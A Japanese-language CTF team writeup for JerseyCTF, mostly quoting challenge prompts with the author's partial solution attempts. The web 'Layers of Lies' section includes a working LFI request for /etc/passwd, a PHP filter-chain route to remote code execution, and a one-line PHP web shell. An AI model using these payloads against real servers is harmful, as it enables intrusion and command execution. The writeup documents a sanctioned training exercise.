​​​​    Output: 40181f1e5c577459180a17300a6e1d15

​​​​We need to send them to a specific coordinate in the middle of nowhere. Make sure your message contains this { meet at the following coordinates:23,28'57"S 124,34'34"W }. This will surely disrupt their plans.

​​​​We also found that in order to further strengthen their algorithm, they combine it with the MD5 algorithm. However it appears they have 2 servers and have implemented this differently. One server takes their custom hash and feeds that input to the MD5 algorithm while the other takes the text we sent and uses that as the MD5 input and the MD5 output as the custom hash input.
​​​​    x = user input
​​​​    MD5(CustomHash(x)) vs CustomHash(MD5(x))

​​​​Can you use the message we require to change the contents without changing the hash?

​​​​The ip address of the server is below:
​​​​    Note: The input form takes ascii character decimal values as input, it will convert them to the character value on the server side. Please input your messages as ASCII decimal seperated by "-"
​​​​    ex. Hello = 72-101-108-108-111

​​​​You can check your answer by submitting the ascii decimal value of each char in your letter to http://collision-course.aws.jerseyctf.com:25000

Connection Info:
http://collision-course.aws.jerseyctf.com:25000

cryptography - CryptoPass-API (3 solves)

問題

Roko managed to build some application that allows members of the consortium to store their private data
We need access to the admin account in order to read their secret plans and possible misdeeds they'll carry out in the future
Unfortunately, there's no account system and we can only login as guest
Can you help us?

Connection Info:
nc cryptopass-api.aws.jerseyctf.com 8000

cryptography - Let’s Break Something at LoWE’s (3 solves)

問題

Mary and Maya were in LoWE's to grow their crypto toolbox, when Maya saw some mysterious white seagulls… or drones, hovering around the building. Suddenly, a gust of wind made one of the drones drop a blue paper on Maya's head. Mary thinks it might have the structure and inner workings of "The Turing Lock". Can you open it to see what's inside? At the LoWE's Pro Desk, Maya spotted an oracle at nc lets-break-something-at-lowes.aws.jerseyctf.com 5555, but she's not sure if it can help…

Connection Info:
nc lets-break-something-at-lowes.aws.jerseyctf.com 5555

forensics - Dollhouse-Confidential (14 solves)

問題

A single artifact holds many secrets, each more elusive than the last. Will you rise to the challenge and uncover the truth hidden within?
Download the file here

Note: For this challenge the flag format is NOT jctfv{} but instead jctf{}

https://youtu.be/Z7iLhdmP-s0
これを見る限りだと、volatilityは昔CTFで使ったものだし辿りつけそうではあった…かもしれない。
やっぱりゲーム期間中だと、回答者が少なくてデカいファイルをダウンロードする問題は食指が伸びなさすぎる。

forensics - linux-live-response (14 solves)

問題

Our Linux web server has been compromised. The forensics team has taken a live response image using UAC to investigate the intrustion. Find the IP address of the attacker and the full path to the file where they have left their reverse shell for persistence. Flag format: jctfv{IP address:/path/to/file}.

miscellaneous - Bitcoin-Butterfingers (69 solves)

問題

  • A careless RB-affiliated Netrunner fumbled a Bitcoin transaction 11 years ago, leaving a trail across the blockchain. It seems some marshals took hold of our BTC, which originated from only the most legitimate business ventures, of course.

  • NICC needs you to follow the money—trace the transactions and find the final wallet holding the flag! But be careful—before reaching the destination, the funds passed through another wallet that you'll need to track along the way.

  • The wallet is 1Ez69SnzzmePmZX3WpEzMKTrcBF2gpNQ55 and the transaction is 29.659K BTC! Hopefully that doesn't equal a lot of USD these days…

  • The flag format is jctfv{walletHash}

  • Hints
    1.
    Some sleuths have put together some great tools for exploring the blockchain!

miscellaneous - Transmission-Trace (11 solves)

問題

We have logs of a machine where we believe that a transmission was being sent that we did not authorize. It seems like someone exfiltrated a flag during this time. Are you able to find and recover it for us?

miscellaneous - Sunset Dossier

問題
  • Our NICC agent Maya is investigating the disappearance of her former classmate Joanna Gillis. After many high profile internships, and landing a dream gig doing security research,Joanna was suddenly let go. She had been looking for work for months and met security researcher Norman Desmond at an alumni networking event.
  • She looked him up after and he was a big name in information security decades ago but had since all but disappeared. He told her he is researching something big and will really shock the industry but he could use some help and she has the perfect skillset. She starts working for him out of his house and meets his weirdo assistant Max.
  • She only spent a few months at the company but has now disappeared. She officially became a missing person and the authorities questioned Max and Norm but they have lawyered up and there is little to incriminate them. Maya is very curious about what happened to her colleague and hopes there is some clue she can find in her apartment.
  • Maya has compiled her notes into a dossier/report linked below.
  • ​​​​​​Flag format: `jctfv{part1_part2_part3}`

Connection Info:
http://sunset-dossier.aws.jerseyctf.com:80

  • Hints
    1. There will not be any brute forcing required for any services in this challenge.

miscellaneous - A-Mysterious-Melody

問題

Our intelligence operatives have been chasing after a strange secretive operation between Dr. Lei and Roko, where Lei appears to be giving some sort of secret "upgrade" to Roko that even his close trusted peers aren't aware of.

Just recently, we were able to gain access to a very important server regarding this operation, but it appears they anticipated us coming and thoroughly wiped their entire hard drive of everything. The only things we managed to recover were some strange music files which appeared to have been generated by Roko himself, along with the access token we came looking for. Unfortunately, they encrypted it before we got there in time.

The only other information we have regarding this are the messages we intercepted between Lei and Roko. Information regarding the encryption process is that it was using some sort of secret password, and since we know they're quite fond of AES, the lack of an IV makes us pretty certain it's in ECB mode. They also mentioned the use of a primitive hashing scheme and, judging from their past, VERY heavily hate anything with less than 256 bits of security.

We're unsure what this all means, but we do have the files we exfiltrated from their server. Maybe it has more use than we originally thought.

miscellaneous - tickets-plz (1 solves)

問題

Looks like Dr. Tom Lei is back at it again with another website. This time it appears to be more than just a web server though. Can you login and find the flag?

Connection Info:
http://web.tickets-plz.aws.jerseyctf.com/

miscellaneous - Social Pressure (5 solves)

問題

  • We need you to geta flag from a company specializing in social engineering. We have word someone named Carl has information on the flag, maybe a colleague? We are going to need you to get that target to email the flag! He probably wont believe any old email though, it needs to come from someone he knows. Luckily we were able to steal the dkim key they use on their email signatures. Can you get flag to be sent to an external email address? Carl probably would boast about this somewhere online. Maybe a forum post or something?

  • Something like "Hey , send an email with that flag to <your_fake_emaiil_address_here>. It is urgent!"

  • Note: To stop this challenge from being used to spam arbitrary addresses, there will not be any email response email sent. Instead you can use a webportal to verify if your email went through successfully and it will give you the flag. The webportal can be reached at http://social-pressure.jerseyctf.com:32000

Connection Info:
http://social-pressure.jerseyctf.com:32000

miscellaneous - The Shattered Cipher (2 solves)

問題

The premise is a split RSA key, try to use forensics to uncover where the fragments are hidden on the image. Once reassembled, submit the md5 hash as jctf{md5hash}.

Download Challenge Here

miscellaneous - nice-2-c-u-2 (4 solves)

問題

I still can’t believe they just left a key lying around like that. Either they got sloppy, or they never expected anyone to come looking. Hope you pocketed it—because you'll probably need it.

Word on the wire is G0ldenFalc0n7, thinks this key could be our ticket into an old C2 network. One RB was setting up back in the day. Ancient by today’s standards, but guess what? It’s still up. Still humming. But it could be a trap.

Only thing is, it’s not accepting ssh connections as far as we can tell from out here. That means you’re gonna have to get creative. Fire up netcat, see if you can slip in through the cracks. And bring that key—you never know when a door might need a little extra persuasion to open.

Just keep your eyes sharp and your ears to the wire. Places like this? They’ve got ghosts and The Consortium probably rigged something to stop folks from snooping around.

This should tie up the last 2 missions we went you on… I'm sure you'll close the book on this. Just don't miss things hidden in plain sight. Appearances are never all they seem…

NOTE: THIS IS THE FINAL IN A THIRD PART - You may need things from Ungraspable Phantom

Connection Info:
nc c2.drtomlei.xyz 1337

osint - On The Shoulders of Giants (29 solves)

問題

Anna received some intelligence that The Consortium was trying to get their hands on some machine learning researcher. The intel was scrambled, but the phrase "machine learning researchers are not good programmers" kept repeating.
She needs to get to the researcher before they do. We called up our friends at Osiris Lab but they haven't seen the professor around the Brooklyn campus in a while… And he's not in the Village either. Maybe he's in hiding or maybe he's just out enjoying one of his hobbies…
If he's hiding out, maybe he's spending time with his evil brother? Let's see if we can track them down.

Can you help Anna find the three hobbies they have in common? Once we have that she'll be able to narrow it down.
Everything you need should be online, so thankfully we won't need to bother calling anyone.

Flag Format: If a hobby has multiple words, separate those words by a hyphen. Separate hobbies using an underscore _ jctfv{hobby-one_hobby-two_hobby-three}

  • Hints
    1. Perstare et Praestare

なんか教授の趣味がフラグになっているらしい。osintのこの画像もないタイプの問題、ログを残しにくくて何を書けばいいのかわからん…

わたし(karubabu) が見付けたものとしては、hintのPerstare et Praestareが、NYUのモットーであるということだけ。
苦し紛れにclaudeに聞いたけれど、これを確かめる方法がわからんとかいう状況だった。
https://claude.ai/share/6e7d58bd-b316-4878-8d67-32d55be29a4f

あとはえあいが色々見付けてくれたけれど、謎が多いまま断念といった感じだった。

https://osiris.cyber.nyu.edu/
Brooklynが関連するOsiris Labはおそらくこれのこと?

https://en.wikipedia.org/wiki/University_Village_(Manhattan)
nycのvillageといえばこれらしいが……
なんか違う気がするな
but the phrase "machine learning researchers are not good programmers" kept repeating.
もわからないし

theyというのが誰と誰なのかわからない
https://x.com/evilproffy xのsnがevilproffyなのは面白いが……

終了後にWriteupを読んで

https://ctftime.org/writeup/40131
読んだ感じ、claudeが言っていた内容は少なくともYann LeCunについては正しかった。
確かにYann LeCunでググるとこの通りのウェブサイトがひっかかるし、趣味についても書かれていた。
でも趣味についての項目を見付けられていなくて、よくわからずにそのまま放置した。
DoN't See Meの時もそうだったけれど、大量の文字の壁が出現したら関係のありそうな単語で検索を掛けることを意識しないと駄目だといった感じ。

osint - Tinker Tailor Solider Spy (18 solves)

問題

Well, maybe not a tinker… But we need help gaining a foothold against the Consortium and stopping the Turing Lock from completion.

Luckily we have somebody working on some powerful tech. They couldn't make the dead-drop location, but managed to offload it somewhere else.

Our contact said one of the first american spies would mark the spot, but they couldn't remember which spy it was. However, he does know that it's close to that guy who died dueling someone who made some disparaging remarks about his father, among 8 others nearby. So it should be straightforward to narrow down.

Get us the name of the spy and the coordinates, and we'll go pick it up!

Flag Format: jctfv{Lastname_latitude,longitude} Our system won't handle DMS coordinates, so get the DD cordinates for us.

osint - Pie in the Sky (17 solves)

問題

One of our operatives was investigating Dr. Tom Lei and managed to board a private jet he chartered for some unknown reason. It's unclear whether this is just one of his leisure flights or if it's something else, but given how they seemed to go AWOL moments later it's definitely very fishy.
They managed to send us a photo somewhere in the middle of the flight, but beyond that we don't have any idea where she is or where Lei was going.
Furthermore, it was also stated by them that when the jet took off from Dublin International on December 30th 2024, an airline related to Lei's mission finished taxiing to Gate 104 after finishing its flight from Lei's target destination.
Do you think you could help us track down the airport he took off from, as well as what approximate time he landed? We don't need the exact seconds they left, but we do need to get the minutes.

Specify your flag in the format jctfv{[4 character ICAO code]-HOUR:MINUTES:[AM/PM]} in GMT
For example, if the plane took off from Newark Liberty International and landed at 1:02 AM, the flag would be jctfv{KEWR-01:02:AM}

osint - Da (10 solves)

問題

A stranger walked in off the street, coat dripping from the rain, fed me a story that smelled like a week-old alibi.
Said there was a problem, it was urgent. Rumor has it that one of the hand picked agents in a new government agency was already compromised.
Not by The Consortium, if the whispers in the alleys are true. One of our older enemies, maybe?

This one's deep. Real deep. But how deep is that alleged connection? That’s the million-dollar question. Lucky for us, people leave digital footprints the way drunks leave bar tabs—careless, messy, and easy to follow if you know where to look.

If the rumors are on the level, this guy's got some big balls - bigger than you'd expect for someone playing a double game.

Our team is good, real good. If you can grab us a few bits of information, we can get to the rest and find out for ourselves if this is true.
Go shake some trees and knock on doors until you get their primary github username - the one for his diamond business. After that, track down his alleged maternal grandfather's first name and his alleged maternal great-grandfather's first name.

Get us that, and we’ve got leverage. We’ve got a way in. Without it? We’re flying blind, and we don’t have a doge in the fight.

Flag format: jctfv{username_grandfathersinitials_greatgrandfathersFirstName}
Example if the username was anonymous, his grandfather's initials were ABC, and his great grandfather's name was Billy: jctfv{anonymous_ABC_Billy}

The flag will not be case sensitive.

  • Hints
    1. Reading the news is important, even if it bums ya out

osint - Th3 F1v3 P01nt Ch@s3 (2 solves)

問題

A new player has emerged, R3d F0x, who has been stirring up trouble in the cybersecurity landscape. Who they are, or what drives them remains a mystery—some say they’re a vigilante, others believe they’re playing a much darker game. Four photos and one video are the only clues to their current location. Maybe by connecting the dots and tracing the constellation, the structure at its center will hold the key. On the day of saturn of this competition, before the light day slips into its final act, an event will occur. The name is the key to unwrap this mystery.

Flag format: jctfv{this_is_what_a_flag_looks_like}

web - Bearer-of-Bad-News (71 solves)

問題

Welcome to my Site Cosmonauts! I made this to document the secrets my rockets have found around the universe.

Here you can login using a user I made for you :)

Username: user
Password: ihavebadnews

I hope you like it.

Connection Info:
http://bearer-of-bad-news.aws.jerseyctf.com

  • Hints
    1. There's Secrets all around!!!

web - Something's Fishy (21 solves)

問題

NICC received an anonymous tip regarding a strange Firefox extension being passed around to famous hackers and competitive CTF players around the world. The anonymous whistle blower expressed anonymity due to being threatened by someone called "K!ngf1sh". Do some investigation work on this website and see if we can dig up anything.

Connection Info:
http://somethings-fishy-a.aws.jerseyctf.com

  • Hints
    1. Avoid Public Interfaces

web - Layers of Lies (16 solves)

問題

You’ve stumbled upon a mysterious webpage with nothing but a cryptic message: "Nothing to see here…or is there?". There must be more to it.

Connection Info:
http://layers-of-lies.aws.jerseyctf.com

ウェブサイトへのリンクと、view.phpのファイルが与えられる。
view.phpのリクエストパラメータにあるfile=を使ってサーバー内部にあるファイルを表示できる。
ここにLFI(Local File Inclusion)という問題があるようで、ここを足掛かりに調べていける。

http://layers-of-lies.aws.jerseyctf.com/view.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
このような感じのリクエストを送ると成功した。
他にも/proc/self/environ,/var/logs/``.htaccess, .bash_history, config.phpそれに/proc/self/fdも見たけれど特に面白そうなものはなかった。
ここから任意のコマンドを実行出来るようになると捗りそうなのだけれど、そういうことが出来るようになる方法が分からない。

目に見えているファイルも、ヒントっぽいものはあっても具体的な情報はなし。
http://layers-of-lies.aws.jerseyctf.com/view.php?file=Layers.php

The locks are kept in the home of Loab.

http://layers-of-lies.aws.jerseyctf.com/view.php?file=Xylophone.php

Each note played, a step further from the truth.

http://layers-of-lies.aws.jerseyctf.com/view.php?file=Mysteries.php

Look CLOSELY at the NNNames of the FFFiles. It's a surprise tool that will help us later.

http://layers-of-lies.aws.jerseyctf.com/view.php?file=Illusion.php

Sometimes the best place to hide is in plain sight.

http://layers-of-lies.aws.jerseyctf.com/view.php?file=Hexed.php

The key is 0x14

http://layers-of-lies.aws.jerseyctf.com/view.php?file=Puzzle.php

Look deeper, but not too deep.

ここで一度立ち往生したけれど、ふゆゆがめっちゃ凄いやつを見付けてくれた。
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
なんでも、PHPのLFIを使ってRCEを引き起すもの。
view.phpにあるinclude_once()は、指定されたファイルをPHPとして実行する。
なので、前述の方法で読み取り可能なファイルを読むとみせかけてそのファイルを変換…というより先頭にコードを追加、なんでも実行してくれるPHPファイルに見せるというもの。あとは好きなコマンドを一緒に送信する。

そのためには<?=`$_GET[0]`;;?>という文字列がコマンドの実行に必要なので、これをbase64で表現したい。
このPHPコードのbase64表現はPD89YCRfR0VUWzBdYDs7Pz4、つまりここにある文字一つ一つがなんらかの方法で表現出来る必要があり、それを何でもいいファイルの先頭に追加していって最終的にPHPコードに見せる。

このスクリプトは読み取るファイルの中身に左右されずにこのPHPコードを作成している。
つまり、無から文字列が出現している。これはなんでも/etc/passwdを読みにいったurlのように,filter/convert.iconv ...というものを使って一文字ずつ生成する。
convertって言うくらいなのだから無から文字列は出てこなくない？とは思うのだけれど、いくつかの機能convert.iconv.UTF8.CSISO2022KRのようなものは、無から文字列\``x1b$)Cを常に生成する。
こうやって好きな文字を生成した後、convert.base64-decodeでbase64に適合しない文字列を全て削除し、base64で再エンコードすることで文字を生成する。

生成した文字のうち2文字目以降はそれ以前に生成した文字列を上書きしちゃわない？とも思うのだけれど、これについては問題ないようになっているらしい…いや分からんわ。

このスクリプトによって自由にコマンドを実行出来るようになったので、The locks are kept in the home of Loab.のヒントにあるように/home/loabを見にいける
/home/loab/secret-folder/deep-hint.txt

cyberchef

The mysteries of the digital world are vast and unknown, with layers
upon layers of complexity. Many have searched for the ultimate truth,
but few have truly grasped its nature. Some say that within the lines
of meaningless text, secrets can be hidden.

Have you ever wondered about the way data flows through the network?
Or how encryption can obscure information from prying eyes? Perhaps
within the walls of this document, something lies beyond the visible.

Numbers, letters, symbols, all interwoven into a digital tapestry.
What may seem random at first glance could hold a hidden message.

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_±={}[];:'",.<>?/|
Mankind has always sought knowledge, reaching for the stars, diving
into the depths, uncovering ancient relics.

Data fragments: 2347asdj!@#rnadf9#%asdncxvWERT235a2ds
@|q4&zp4uzp4r}zux4duf4r4q4rxus4g.4Qf%g\K R@QfK Xxi
qwe6r7tyujnfsdkA%3489asdhfsd87sdfgkj
ihsf78a9sd89fasdf9s7d7A9SD8F07as89d r98asd7f980as7df0A980SD7F098as7df

But is there a pattern, or is it all just chaos?

Lost civilizations left behind cryptic messages, and in the digital
age, we do the same.

The truth is often disguised within layers of deception. Perhaps a
single character out of place, a sequence of symbols among gibberish.
The real question is, do you have the patience to find it?

There was once a time when knowledge was passed down through word of
mouth. Now, it is hidden within bits and bytes, waiting for the right
eyes to see.

But beware, for not everything that appears valuable holds real
significance. And sometimes, the key is right before your eyes, hidden
in plain sight.

Congratulations, you've reached the end of this text. But was there
something more along the way?

/home/loab/secret-folder/deeply-hidden/flag-part.txt

Throughout history, secrets have been hidden in places no one expects.
From ancient manuscripts to modern encryption, the pursuit of truth
has always been a challenge. What if I told you that the answers are
already here, but only the patient will find them?

 Some Useless Information for You: The earth revolves around the sun.
π ≈ 3.1415926535897932384626433… The Fibonacci sequence starts with
0, 1, 1, 2, 3, 5, 8… Random Gibberish:
@|q4r}fg4duf4r4q4rxus4g.4~wrbo%@Kc gz@K-%, Morse Code: –. –- –-
-.. / .-.. ..- -.-. -.- Binary: 01001001 00100000 01101001 01101110 01110110 01100101 01101110 01110100 01100101 01100100 / 01100001 /
01100110 01100001 01101011 01100101 / 01101000 01101001 01101110
01110100 Caesar Cipher: Wklv lv d idnh klqw.

 Data Fragments: 91f8ac23e1b764a5d093b2c47fa56890
c4d3e2f1a597b086d153e284fa769c01 xwrvnhljsgdifobtzucqmykpexab

 Are You Sure You're Looking in the Right Place?  Sometimes, the
real answer isn't what you expect it to be. Distractions are
everywhere, and only the most determined minds will reach the goal.

 SYSTEM LOGS: [INFO] Initializing decryption module… [INFO]
Searching for encrypted key… [ERROR] Decryption failed: Key
mismatch. [WARN] Possible corruption detected in sector 0x4A5F7C.
[INFO] System reboot required.

The deeper you search, the more confusing things become. Perhaps this
file is useless, or maybe the real clue is hiding in plain sight.

The world of cryptography is vast, and not everything is what it
seems. Congratulations, you reached the end of the file. But was
anything in here useful? Or was this just another dead end?

正直、めぼしい情報はないように見えた。
このあたりのヒントっぽいのは全部ゴミ。
Caesar Cipher: Wklv lv d idnh klqw. This is a fake hint. Binary: 01001001 00100000 01101001 01101110 01110110 01100101 01101110 01110100 01100101 01100100 / 01100001 / 01100110 01100001 01101011 01100101 / 01101000 01101001 01101110 01110100 I inventedafakehint Morse Code: --. --- --- -.. / .-.. ..- -.-. -.- GOODLUCK
唯一使えそうなこれも、使い所がわからない。
[WARN] Possible corruption detected in sector 0x4A5F7C.

ここまでやって、完全に詰まったので断念。

終了後に判明したこと

Random Gibberish: @|q4r}fg4duf4{r4|q4rxus4}g.4~wrbo%@Kc gz@K-%,,
Key = 14: The 2nd and final par of he flag is: Er1sH_4FTEr_4Ll}

@|q4&zp4uzp4r}zux4duf4{r4|q4rxus4}g.4Qf%g\K R@QfK Xxi
https://gchq.github.io/CyberChef/#recipe=XOR({'option':'Hex','string':'14'},'Standard',false)&input=QHxxNHJ9Zmc0ZHVmNHtyNHxxNHJ4dXM0fWcuNH53cmJvJUBLYyBnekBLLSUsLA&oenc=65001
この二つは、XORで暗号化された文字列で、序盤に示されたヒントThe key is 0x14をキーとして使えば復号できた。

本当に答え目前まで行けていただけに悔しいねえ。正直、問題のタグにcryptって書いてあるので"も、もうむりだー！"となった感は否めない。crypto苦手すぎるんだよね。

web - Something's Fishy Part 2 (14 solves)

問題

Seems like the Firefox extension interacts with a weird webserver. There may be more then it seems going on with this extension. Do some detective work and see if you can gain access to it. See how far you can go into the machine and see if you can obtain the admin's password.

  • Hints
    1. Unite wisely, leak precisely

web - Leaky-Endpoints (10 solves)

問題

A client wanted to me to make a website for their restaurant. I wouldn't worry too much about getting your order, the chefs are well known to take a long time to make it. But, the food is to die for. Unfortunately, the admins keep using there personal information as passwords. I keep telling them that it's not a good idea, but they never listen.

Connection Info:
http://leaky-endpoints.aws.jerseyctf.com

  • Hints
    1. Was coded way to fast.

web - whats-your-number (2 solves)

問題

Anna found this strange website. We do not know much about it but would like to see what we could find. She told me that something strange is happening on the transport layer, can you find out more?

This challenge requires the ability to spoof source IP addresses. Some ISPs will block this. To help keep the challenge fair, we've setup a relay. Sending a packet to whats-your-number-relay.aws.jerseyctf.com (resolve the IP address) will rewrite the source address to 1.2.3.4 and forward it to whats-your-number.aws.jerseyctf.com. Nothing else is changed besides the source and destination IP address.

Please note that being behind a NAT or firewall may still prevent the required packets from going through. If you encounter this, you may need to use a cloud provider or VPN that provides direct access to a public IP address. You may want to practice in your LAN first.

Connection Info:
http://whats-your-number.aws.jerseyctf.com

Last changed by 
 
EaINT
0
77

Read more

TsukuCTF 2025 Writeup

2071pt 882チーム中21位

May 5, 2025
JerseyCTF IV Writeup

2024-03-24_23-54-23_javaw

Apr 6, 2024
TsukuCTF 2023 Writeup

word (484pt)

Dec 10, 2023
Read more from EaINT
Published on HackMD